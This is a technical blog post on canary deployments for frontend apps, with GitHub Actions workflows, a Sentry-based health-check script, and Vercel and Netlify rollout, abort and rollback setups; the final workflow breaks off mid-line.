# neciudan.dev — Full Content > Concatenated content from https://neciudan.dev for AI retrieval. Generated at build time. --- # Blog Posts ## Frontend CI/CD in the age of AI - Part 2: Deployments URL: https://neciudan.dev/ci-cd-in-the-age-of-ai-part-2-deployments Published: 2026-08-05 [Part 1](https://neciudan.dev/ci-cd-in-the-age-of-ai-part-1) covered the Continuous Integration part, where the goal was to run the pipeline less (cheaper) and run it faster, because agents produce more pull requests than a normal pipeline can absorb. On the other hand, while AI has gotten better and better at coding and reviewing code, it still is missing context and product sense, and as a result, it makes mistakes. A lot of mistakes. And this is an industry problem. If you look carefully, reliability is down across the board. DORA's 2025 report says that teams with higher AI adoption show both higher delivery throughput and higher delivery instability, resulting in more changes failing in production and more unplanned work to fix them. This makes our deployment part that much more important. We need to either deploy to a subset of our users to ensure it doesn't cause outages, and revert quickly if something goes wrong. Unfortunately, that is not how we are doing things. Most of the companies I worked with typically use an all-or-nothing approach to deployments, and reverting often requires rebuilding the entire CI pipeline, which can take hours. Here is how our ideal pipeline looks like 👇 A pull request merges into main only through a merge queue, where the full integration suite runs against the latest code. We do this because in the Part 1 article, we only checked what was touched or impacted by the PR code. The merge produces a single build artifact, which we use for deployment and later serve in production without being rebuilt, so promoting and rolling back both come down to where the traffic is pointing. That artifact goes out to a piece of your traffic, with a smoke test hitting it the moment it lands. Five minutes later, something looks for catastrophic movement, and an hour after that, a slower comparison against the previous release decides whether the artifact is ready for 100% traffic. A bad result rolls it back, posts the offending pull request to Slack, opens a revert branch, and freezes merging until somebody closes the incident. In this article, we are building this pipeline (or parts of it). Let's go. ## Canaries British coal mines carried canaries underground until 1986. A canary breathes through a one-way system with air sacs feeding the lungs, and it burns oxygen fast enough that carbon monoxide fills it well before anyone holding the cage feels a thing. A bird that stopped singing and swayed on its perch bought the crew a few minutes to climb out. Later cages came with a small oxygen bottle attached, so you could seal the bird in and revive it on the way up. Deployments applied the same concept. A small, known group goes into the unverified place ahead of everybody else, and you watch them while the rest of your traffic carries on where it was. Your five percent of traffic is the canary, and when you have a broken release, they are paying the price. (To mitigate for randomness and not affect important users, some companies apply this pattern to geo-location traffic, testing in low-impact countries) ## The workflow we start from Most teams have something close to this, which builds the app and ships it in one go. ```yaml # .github/workflows/deploy.yml name: Deploy on: push: branches: [main] jobs: deploy: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-node@v4 with: node-version: 22 cache: 'npm' - run: npm ci - run: npm run build - run: npx vercel deploy --prod --token="$VERCEL_TOKEN" env: VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }} ``` That last step is the only line that changes from platform to platform, and the moment it finishes, every user gets the new code. Our pipeline, regardless of the platform we are deploying to, will use these concepts and I will refrence them all through the article: - **deploy** ships the build and gives it a small slice of traffic - **smoke** hits the new version before anybody else does with some tests - **soak** waits, then reads your error rate split by version - **promote** gives the build all the traffic - **abort** removes the traffic from the build and gives it to the previous version - **hold** posts to Slack when the numbers are too thin to call - **watch-15** and **watch-60** keep checking after promotion - **rollback** puts the previous build back when they find something ### The common setup Every job below starts the same way: ```yaml # .github/actions/setup/action.yml name: Setup description: Node and dependencies runs: using: composite steps: - uses: actions/setup-node@v4 with: node-version: 22 cache: 'npm' - run: npm ci shell: bash ``` Composite actions need `shell:` on every `run` step, and the action lives in your repository, so `actions/checkout` has to run before you can call it. ### The environments The soak-and-watch jobs need to pause. If you use a step that does `sleep 1800` it will work but it will also occupy a runner for half an hour, billed to you on every merge. GitHub environments do it for free. A job targeting an environment with a wait timer sits waiting before it starts, outside a runner. In the Settings dashboard, then Environments, then New environment, tick Wait timer, and enter the minutes, with 43200 as the ceiling. All four at once from the CLI: ```bash REPO=my-org/my-app gh api -X PUT "repos/$REPO/environments/canary-soak" -F wait_timer=60 gh api -X PUT "repos/$REPO/environments/watch-15min" -F wait_timer=15 gh api -X PUT "repos/$REPO/environments/watch-45min" -F wait_timer=45 gh api -X PUT "repos/$REPO/environments/geo-soak" -F wait_timer=60 ``` ### Telling Sentry which release is which The soak job compares two releases (for bugs and issues), which only works if your app reports which one it is. ```js // vite.config.ts const release = process.env.VERCEL_GIT_COMMIT_SHA ?? // Vercel builds on its own machines process.env.COMMIT_REF ?? // so does Netlify process.env.GITHUB_SHA ?? // Cloudflare, Cloud Run, and ECS build in CI 'local'; export default defineConfig({ define: { 'import.meta.env.RELEASE': JSON.stringify(release) }, }); ``` Vercel and Netlify build remotely, where `GITHUB_SHA` does not exist, so a config that reads only that variable tags every release as `local`, and the soak job compares two things that are not there. All three variables hold the full commit SHA, which is what `github.sha` gives the workflow. ```js Sentry.init({ dsn: import.meta.env.VITE_SENTRY_DSN, release: import.meta.env.RELEASE, }); ``` Without this, every query returns the same blended number for both versions, and the check can never tell them apart. ### The script that decides We neeed to compare releases and for that we need to run a script. The script can return `hold`, `promote`, and `abort`. At five percent traffic on Tuesday early afternoon, half an hour might produce forty sessions, and forty sessions say nothing about whether your crash rate moved. Promoting on numbers that thin is guessing, and aborting throws away a deploy that was probably fine. ```js // scripts/canary-health.mjs import { appendFileSync } from 'node:fs'; const { SENTRY_TOKEN, SENTRY_ORG, SENTRY_PROJECT_ID, CANARY_RELEASE, BASELINE_RELEASE, MIN_SESSIONS = 200 } = process.env; const MAX_DROP_POINTS = 0.5; // crash-free rate, in percentage points // Sentry declares this metric as `crash_free_rate@ratio`, so the API hands // back 0..1 even though the UI shows you 99.98%. Converting on the value // rather than assuming the scale costs nothing and survives Sentry changing // its mind. const points = (rate) => rate === null || rate === undefined || Number.isNaN(rate) ? null : rate <= 1 ? rate * 100 : rate; async function health(release) { if (!release) return { rate: null, sessions: 0 }; const url = new URL(`https://sentry.io/api/0/organizations/${SENTRY_ORG}/sessions/`); url.searchParams.append('field', 'crash_free_rate(session)'); url.searchParams.append('field', 'sum(session)'); url.searchParams.set('project', SENTRY_PROJECT_ID); url.searchParams.set('statsPeriod', '1h'); // query= rather than groupBy=release, which has a habit of // returning zeroed buckets for individual releases url.searchParams.set('query', `release:"${release}"`); const response = await fetch(url, { headers: { Authorization: `Bearer ${SENTRY_TOKEN}` }, // Without this, a hung Sentry holds the runner to the six-hour job ceiling signal: AbortSignal.timeout(20_000), }); if (!response.ok) throw new Error(`Sentry returned ${response.status}`); const totals = (await response.json()).groups?.[0]?.totals; if (!totals) return { rate: null, sessions: 0 }; return { rate: totals['crash_free_rate(session)'] ?? null, sessions: totals['sum(session)'] ?? 0, }; } function decide(decision, why) { console.log(`${decision}: ${why}`); // Running this by hand to debug a stuck rollout must not crash if (process.env.GITHUB_OUTPUT) { appendFileSync(process.env.GITHUB_OUTPUT, `decision=${decision}\n`); } process.exit(0); } try { const canary = await health(CANARY_RELEASE); const baseline = await health(BASELINE_RELEASE); if (canary.sessions < Number(MIN_SESSIONS)) { decide('hold', `only ${canary.sessions} sessions on the canary so far`); } const canaryRate = points(canary.rate); const baselineRate = points(baseline.rate); // `undefined` slips past a `=== null` check, makes the subtraction NaN, and // NaN fails every comparison — which reads as "no drop" and promotes a // release nobody measured. A baseline with no sessions is not a baseline. if (canaryRate === null || baselineRate === null || baseline.sessions === 0) { decide('hold', 'no session data for one of the two releases'); } // Round before comparing, so the number in the log is the number // the decision was made on const drop = Number((baselineRate - canaryRate).toFixed(2)); if (drop > MAX_DROP_POINTS) { decide('abort', `crash-free rate down ${drop.toFixed(2)} points`); } decide('promote', `crash-free rate within ${MAX_DROP_POINTS} points`); } catch (error) { // Sentry being unreachable is not evidence that your deploy is bad decide('hold', `health check failed: ${error.message}`); } ``` A hold parks the canary where it is, with production still mostly on the old build, which is a safe place to leave something while you look at it yourself. But be aware that the endpoint buckets by the hour and refuses a window shorter than one, so a 30-minute soak reads 60 minutes of data, including traffic from before your deploy existed. Let it soak for an hour, or swap the query for a count of issues first seen since the deployment timestamp. Until this point everything can be reused regardless of deployment platform. Let's go into specifics. You can skip to your platform of choice or the end where we build something independend. ## Vercel We need to change two settings to get canary releases to work on Vercel. **Skew Protection.** Go to Settings, then Advanced, then switch it on and set Maximum Age. Having two versions live at once means that one browser can load HTML from the old version and JavaScript from the new, resulting in a blank screen. This pins each session to whichever deployment it first loaded. **The stages.** Rolling Releases needs a Pro or Enterprise plan, and the percentages are fixed before the rollout as configuration. ```bash vercel rolling-release configure --cfg '{ "enabled": true, "advancementType": "manual-approval", "canaryResponseHeader": true, "stages": [ { "targetPercentage": 5 }, { "targetPercentage": 25 }, { "targetPercentage": 60 }, { "targetPercentage": 100 } ] }' ``` ### Deploying to five percent instead of everyone The baseline workflow ended at `vercel deploy --prod`. Two lines change that into a canary. ```yaml # .github/workflows/deploy.yml name: Deploy on: push: branches: [main] # One rollout at a time. Two mergers of racing produce two canaries. # GitHub keeps only one *pending* run per group, so a third merge arriving # mid-rollout cancels the second. One at a time is guaranteed; every merge # reaching production is not. concurrency: group: production-deploy cancel-in-progress: false permissions: contents: read env: VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }} jobs: deploy: runs-on: ubuntu-latest outputs: url: ${{ steps.deploy.outputs.url }} baseline: ${{ steps.baseline.outputs.id }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup # What production is running right now, so the soak job has # something to compare against. The whole rollingRelease object is # null until a deployment has happened, so your first ever run gets # "null" here and the health check holds rather than promoting. # There is a sibling canaryDeployment.id if you would rather name # the canary that way than by commit SHA. - id: baseline run: | ID=$(npx vercel rolling-release fetch --token="$VERCEL_TOKEN" \ | jq -r '.rollingRelease.currentDeployment.id') echo "id=$ID" >> "$GITHUB_OUTPUT" - id: deploy run: | URL=$(npx vercel deploy --prod --token="$VERCEL_TOKEN") echo "url=$URL" >> "$GITHUB_OUTPUT" # A start that fails leaves the deployment live on all the traffic, # with no smoke test run and no abort job watching it if ! npx vercel rolling-release start --dpl="$URL" --token="$VERCEL_TOKEN" --yes; then npx vercel rolling-release abort --dpl="$URL" --token="$VERCEL_TOKEN" --yes || true exit 1 fi ``` `rolling-release start` is doing all the work in that step. It leaves the deployment sitting at stage zero on five percent, where, without it, the deployment would have taken everything. That job doesn't include `npm run build`, because Vercel builds on its own infrastructure when you run `vercel deploy`. ### Hitting it before your users do ```yaml smoke: needs: deploy runs-on: ubuntu-latest timeout-minutes: 5 steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx playwright install --with-deps chromium - run: npx playwright test e2e/smoke --project=chromium env: PLAYWRIGHT_BASE_URL: ${{ needs.deploy.outputs.url }} ``` ### Waiting, then deciding ```yaml soak: needs: [deploy, smoke] runs-on: ubuntu-latest environment: canary-soak # the 60-minute wait lives here outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: SENTRY_TOKEN: ${{ secrets.SENTRY_TOKEN }} SENTRY_ORG: my-org SENTRY_PROJECT_ID: '4504000000000000' CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} ``` ### Taking the rest, or giving it back ```yaml promote: needs: [deploy, soak] if: needs.soak.outputs.decision == 'promote' runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup # complete skips the remaining stages and takes 100% - run: npx vercel rolling-release complete --dpl='${{ needs.deploy.outputs.url }}' --token="$VERCEL_TOKEN" --yes abort: needs: [deploy, smoke, soak] if: > always() && ( needs.smoke.result == 'failure' || needs.soak.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx vercel rolling-release abort --dpl='${{ needs.deploy.outputs.url }}' --token="$VERCEL_TOKEN" --yes - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Canary aborted. Production is back on the previous build.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" ``` A `hold` decision matches neither condition, so the canary stays at five percent and nothing else runs. The full file below adds a third job on `decision == 'hold'` that posts to Slack, because otherwise you find rollouts parked there days later. ### Rolling back after promotion A release that behaves at 5% for an hour can still fail at full traffic. We want to make sure we can always do a fast and safe rollback. ```yaml watch-15: needs: [deploy, promote] runs-on: ubuntu-latest environment: watch-15min outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: SENTRY_TOKEN: ${{ secrets.SENTRY_TOKEN }} SENTRY_ORG: my-org SENTRY_PROJECT_ID: '4504000000000000' CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} watch-60: needs: [deploy, promote, watch-15] if: needs.watch-15.outputs.decision != 'abort' runs-on: ubuntu-latest environment: watch-45min # runs after watch-15, so 15 + 45 = an hour in outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: SENTRY_TOKEN: ${{ secrets.SENTRY_TOKEN }} SENTRY_ORG: my-org SENTRY_PROJECT_ID: '4504000000000000' CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} rollback: needs: [deploy, watch-15, watch-60] if: > always() && ( needs.watch-15.outputs.decision == 'abort' || needs.watch-60.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx vercel rollback '${{ needs.deploy.outputs.baseline }}' --token="$VERCEL_TOKEN" - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Rolled back after promotion.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" ``` The previous build never went anywhere, so `rollback` points the domain at something that already exists and finishes in seconds. Sessions you pinned stay where they are, though. Skew Protection keeps them loading assets from the deployment they landed on until Maximum Age expires, so a rollback catches everybody arriving fresh while open tabs sit put. ### The whole file Every fragment above, plus the `hold` job the soak decision needs, in one file. ```yaml # .github/workflows/deploy.yml name: Deploy on: push: branches: [main] concurrency: group: production-deploy cancel-in-progress: false permissions: contents: read env: VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }} SENTRY_TOKEN: ${{ secrets.SENTRY_TOKEN }} SENTRY_ORG: my-org SENTRY_PROJECT_ID: '4504000000000000' jobs: deploy: runs-on: ubuntu-latest outputs: url: ${{ steps.deploy.outputs.url }} baseline: ${{ steps.baseline.outputs.id }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: baseline run: | ID=$(npx vercel rolling-release fetch --token="$VERCEL_TOKEN" \ | jq -r '.rollingRelease.currentDeployment.id') echo "id=$ID" >> "$GITHUB_OUTPUT" - id: deploy run: | URL=$(npx vercel deploy --prod --token="$VERCEL_TOKEN") echo "url=$URL" >> "$GITHUB_OUTPUT" # A start that fails leaves the deployment live on all the traffic, # with no smoke test run and no abort job watching it if ! npx vercel rolling-release start --dpl="$URL" --token="$VERCEL_TOKEN" --yes; then npx vercel rolling-release abort --dpl="$URL" --token="$VERCEL_TOKEN" --yes || true exit 1 fi smoke: needs: deploy runs-on: ubuntu-latest timeout-minutes: 5 steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx playwright install --with-deps chromium - run: npx playwright test e2e/smoke --project=chromium env: PLAYWRIGHT_BASE_URL: ${{ needs.deploy.outputs.url }} soak: needs: [deploy, smoke] runs-on: ubuntu-latest environment: canary-soak outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} promote: needs: [deploy, soak] if: needs.soak.outputs.decision == 'promote' runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx vercel rolling-release complete --dpl='${{ needs.deploy.outputs.url }}' --token="$VERCEL_TOKEN" --yes hold: needs: soak if: needs.soak.outputs.decision == 'hold' runs-on: ubuntu-latest steps: - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Canary parked at 5%. Not enough data to decide.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" abort: needs: [deploy, smoke, soak] if: > always() && ( needs.smoke.result == 'failure' || needs.soak.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx vercel rolling-release abort --dpl='${{ needs.deploy.outputs.url }}' --token="$VERCEL_TOKEN" --yes - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Canary aborted. Production is back on the previous build.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" watch-15: needs: [deploy, promote] runs-on: ubuntu-latest environment: watch-15min outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} watch-60: needs: [deploy, promote, watch-15] if: needs.watch-15.outputs.decision != 'abort' runs-on: ubuntu-latest environment: watch-45min # runs after watch-15, so 15 + 45 = an hour in outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} rollback: needs: [deploy, watch-15, watch-60] if: > always() && ( needs.watch-15.outputs.decision == 'abort' || needs.watch-60.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx vercel rollback '${{ needs.deploy.outputs.baseline }}' --token="$VERCEL_TOKEN" - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Rolled back after promotion.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" ``` ### Rolling out to one country Rolling Releases takes a percentage and nothing else, so a country-scoped rollout means routing in middleware and a config value your workflow can move. Create the store once from the dashboard, under Storage, then Edge Config, then Create, and connect it to your project on the same screen. Vercel injects an `EDGE_CONFIG` environment variable for you. ```ts // middleware.ts import { NextResponse, type NextRequest } from 'next/server'; import { geolocation } from '@vercel/functions'; import { get } from '@vercel/edge-config'; export const config = { matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'], }; export async function middleware(request: NextRequest) { const rollout = await get<{ countries: string[]; percentage: number; canaryHost: string; }>('canaryRollout'); const { country } = geolocation(request); if (!rollout?.countries?.includes(country ?? '')) { return NextResponse.next(); } // Returning visitors keep whatever they were given const existing = request.cookies.get('canary')?.value; const assigned = existing ?? (Math.random() * 100 < rollout.percentage ? 'on' : 'off'); const url = new URL(request.url); url.host = rollout.canaryHost; const response = assigned === 'on' ? NextResponse.rewrite(url) : NextResponse.next(); response.cookies.set('canary', assigned, { maxAge: 86400, path: '/' }); return response; } ``` The rollout then gets its own workflow, triggered by hand, with the same soak-and-decide loop pointing to the config value rather than a platform percentage. ```yaml # .github/workflows/geo-rollout.yml name: Geo rollout on: workflow_dispatch: inputs: countries: description: 'Comma-separated ISO codes, for example PT, IE' required: true concurrency: group: geo-rollout cancel-in-progress: false jobs: start: runs-on: ubuntu-latest outputs: baseline: ${{ steps.baseline.outputs.id }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup # Without this, the health check compares against nothing, the # arithmetic gives NaN, and every rollout promotes itself - id: baseline run: | ID=$(npx vercel rolling-release fetch --token="$VERCEL_TOKEN" \ | jq -r '.rollingRelease.currentDeployment.id') echo "id=$ID" >> "$GITHUB_OUTPUT" - name: 10% of the named countries run: | COUNTRIES=$(echo "${{ inputs.countries }}" | jq -R 'split(",")') npx vercel edge-config items add canaryRollout --value \ "$(jq -nc --argjson c "$COUNTRIES" \ '{countries:$c,percentage:10,canaryHost:"canary.example.com"}')" soak-10: needs: start runs-on: ubuntu-latest environment: geo-soak outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: SENTRY_TOKEN: ${{ secrets.SENTRY_TOKEN }} SENTRY_ORG: my-org SENTRY_PROJECT_ID: '4504000000000000' CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.start.outputs.baseline }} MIN_SESSIONS: 40 # ten percent of Portugal is a small number widen: needs: soak-10 if: needs.soak-10.outputs.decision == 'promote' runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: | COUNTRIES=$(echo "${{ inputs.countries }}" | jq -R 'split(",")') npx vercel edge-config items add canaryRollout --value \ "$(jq -nc --argjson c "$COUNTRIES" \ '{countries:$c,percentage:50,canaryHost:"canary.example.com"}')" stop: needs: soak-10 if: always() && needs.soak-10.outputs.decision == 'abort' runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx vercel edge-config items add canaryRollout --value '{"percentage":0}' ``` Keep that `MIN_SESSIONS` override. Ten percent of Portugal produces far fewer sessions than ten percent of everything, and the default threshold would return `hold` on every run. ## Netlify Netlify has a built-in canary called Split Testing, and you can only use it from the Netlify Dashboard. Turn on branch deploys under Site configuration > Build and deploy > Branches and deploy contexts, and set Branch deploys to "All" or name your release branch. Push a candidate there, and Netlify builds it alongside main. Split Testing then lives under Site configuration > Split Testing, where you pick two branches and assign percentages. The percentages sit behind a form with no CLI and no documentation in the API, so a workflow has no way to touch a test once someone has started one. **So the pipeline does the split itself**, in an edge function reading numbers the CLI can set. The obvious place to put those numbers is an environment variable, and it does not work. Netlify is explicit that "changes to environment variables for edge functions require a build and deploy to take effect" — each deploy captures the values as they were at deploy time. A workflow that sets `CANARY_PERCENT` would never move the running function, and, much worse, the abort job setting it back to zero would not either. So the numbers live in [Netlify Blobs](https://docs.netlify.com/build/data-and-storage/netlify-blobs/) instead, which is Netlify's runtime store: readable from an edge function, writable from CI, and no deploy in between. It is the same shape as Vercel's Edge Config and Cloudflare's KV. ```js // netlify/edge-functions/canary.js import { getStore } from '@netlify/blobs'; export default async (request, context) => { // Blobs default to eventual consistency, which propagates within 60 // seconds. An abort cannot wait 60 seconds, so ask for strong. const store = getStore({ name: 'canary', consistency: 'strong' }); // A missing or malformed key sends everyone to the stable version const rollout = await store.get('rollout', { type: 'json' }); if (!rollout?.percentage || !rollout.origin) return; // Countries stay empty for a plain percentage rollout const countries = rollout.countries ?? []; const country = context.geo?.country?.code; if (countries.length && !countries.includes(country)) return; // Returning visitors keep whatever they were given const existing = context.cookies.get('canary'); const assigned = existing ?? (Math.random() * 100 < rollout.percentage ? 'on' : 'off'); context.cookies.set({ name: 'canary', value: assigned, path: '/' }); if (assigned === 'off') return; return context.rewrite(rollout.origin + new URL(request.url).pathname); }; export const config = { path: '/*' }; ``` That one file covers both the percentage rollout and the country rollout, since leaving `countries` empty skips the geo check. This file lives in `netlify/edge-functions/`. Every command below writes that one key with `netlify blobs:set`, which takes effect on the next request. ### Deploying to five percent instead of everyone ```yaml # .github/workflows/deploy.yml name: Deploy on: push: branches: [main] concurrency: group: production-deploy cancel-in-progress: false permissions: contents: read env: NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }} NETLIFY_SITE_ID: ${{ secrets.NETLIFY_SITE_ID }} jobs: deploy: runs-on: ubuntu-latest outputs: url: ${{ steps.deploy.outputs.url }} id: ${{ steps.deploy.outputs.id }} previous: ${{ steps.previous.outputs.id }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: previous run: | PREV=$(netlify api listSiteDeploys --data '{"site_id":"'"$NETLIFY_SITE_ID"'"}' \ | jq -r '[.[] | select(.state=="ready" and .context=="production")][0].id') echo "id=$PREV" >> "$GITHUB_OUTPUT" # Netlify deploys what you hand it, so the build happens here - run: npm run build - id: deploy run: | OUT=$(netlify deploy --dir=dist --json) echo "url=$(echo "$OUT" | jq -r '.deploy_url')" >> "$GITHUB_OUTPUT" echo "id=$(echo "$OUT" | jq -r '.deploy_id')" >> "$GITHUB_OUTPUT" - name: Send it 5% of traffic run: | netlify blobs:set canary rollout \ "$(jq -nc --arg o '${{ steps.deploy.outputs.url }}' \ '{origin:$o,percentage:5}')" ``` The `smoke` and `soak` jobs are the ones from the Vercel section, with `PLAYWRIGHT_BASE_URL` set to the draft URL and `BASELINE_RELEASE` set to `needs.deploy.outputs.previous`. ### Taking the rest, or giving it back ```yaml promote: needs: [deploy, soak] if: needs.soak.outputs.decision == 'promote' runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup # Publish the draft that is already up there. Rebuilding here # would ship different bytes from the ones you just tested. - run: | netlify api restoreSiteDeploy --data '{ "site_id": "'"$NETLIFY_SITE_ID"'", "deploy_id": "${{ needs.deploy.outputs.id }}" }' netlify blobs:set canary rollout '{"percentage":0}' abort: needs: [deploy, smoke, soak] if: > always() && ( needs.smoke.result == 'failure' || needs.soak.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: netlify blobs:set canary rollout '{"percentage":0}' - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Canary aborted. Split closed, production unchanged.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" ``` ### Rolling back after promotion Same two watch jobs as Vercel, with one step swapped. Deployments on Netlify are immutable, so the previous one remains available for republishing. ```yaml rollback: needs: [deploy, watch-15, watch-60] if: > always() && ( needs.watch-15.outputs.decision == 'abort' || needs.watch-60.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: | netlify api restoreSiteDeploy --data '{ "site_id": "'"$NETLIFY_SITE_ID"'", "deploy_id": "${{ needs.deploy.outputs.previous }}" }' ``` Everybody moves at once here. Your edge function returns early when `CANARY_PERCENT` is zero, so a visitor holding a `canary=on` cookie stops being routed anywhere the moment the abort or promote step runs. While you investigate, "Lock to stop auto publishing" on that deploy in the dashboard stops the next merge, which would put the bad version straight back. ### The whole file ```yaml # .github/workflows/deploy.yml name: Deploy on: push: branches: [main] concurrency: group: production-deploy cancel-in-progress: false permissions: contents: read env: NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }} NETLIFY_SITE_ID: ${{ secrets.NETLIFY_SITE_ID }} SENTRY_TOKEN: ${{ secrets.SENTRY_TOKEN }} SENTRY_ORG: my-org SENTRY_PROJECT_ID: '4504000000000000' jobs: deploy: runs-on: ubuntu-latest outputs: url: ${{ steps.deploy.outputs.url }} id: ${{ steps.deploy.outputs.id }} baseline: ${{ steps.baseline.outputs.id }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npm run build - id: baseline run: | ID=$(netlify api listSiteDeploys --data '{"site_id":"'"$NETLIFY_SITE_ID"'"}' \ | jq -r '[.[] | select(.state=="ready" and .context=="production")][0].id') echo "id=$ID" >> "$GITHUB_OUTPUT" - id: deploy run: | OUT=$(netlify deploy --dir=dist --json) echo "url=$(echo "$OUT" | jq -r '.deploy_url')" >> "$GITHUB_OUTPUT" echo "id=$(echo "$OUT" | jq -r '.deploy_id')" >> "$GITHUB_OUTPUT" - name: Send it 5% of traffic run: | netlify blobs:set canary rollout \ "$(jq -nc --arg o '${{ steps.deploy.outputs.url }}' \ '{origin:$o,percentage:5}')" smoke: needs: deploy runs-on: ubuntu-latest timeout-minutes: 5 steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx playwright install --with-deps chromium - run: npx playwright test e2e/smoke --project=chromium env: PLAYWRIGHT_BASE_URL: ${{ needs.deploy.outputs.url }} soak: needs: [deploy, smoke] runs-on: ubuntu-latest environment: canary-soak outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} promote: needs: [deploy, soak] if: needs.soak.outputs.decision == 'promote' runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: | netlify api restoreSiteDeploy --data '{ "site_id": "'"$NETLIFY_SITE_ID"'", "deploy_id": "${{ needs.deploy.outputs.id }}" }' netlify blobs:set canary rollout '{"percentage":0}' hold: needs: soak if: needs.soak.outputs.decision == 'hold' runs-on: ubuntu-latest steps: - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Canary parked at 5%. Not enough data to decide.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" abort: needs: [deploy, smoke, soak] if: > always() && ( needs.smoke.result == 'failure' || needs.soak.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: netlify blobs:set canary rollout '{"percentage":0}' - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Canary aborted. Production is back on the previous build.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" watch-15: needs: [deploy, promote] runs-on: ubuntu-latest environment: watch-15min outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} watch-60: needs: [deploy, promote, watch-15] if: needs.watch-15.outputs.decision != 'abort' runs-on: ubuntu-latest environment: watch-45min # runs after watch-15, so 15 + 45 = an hour in outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ 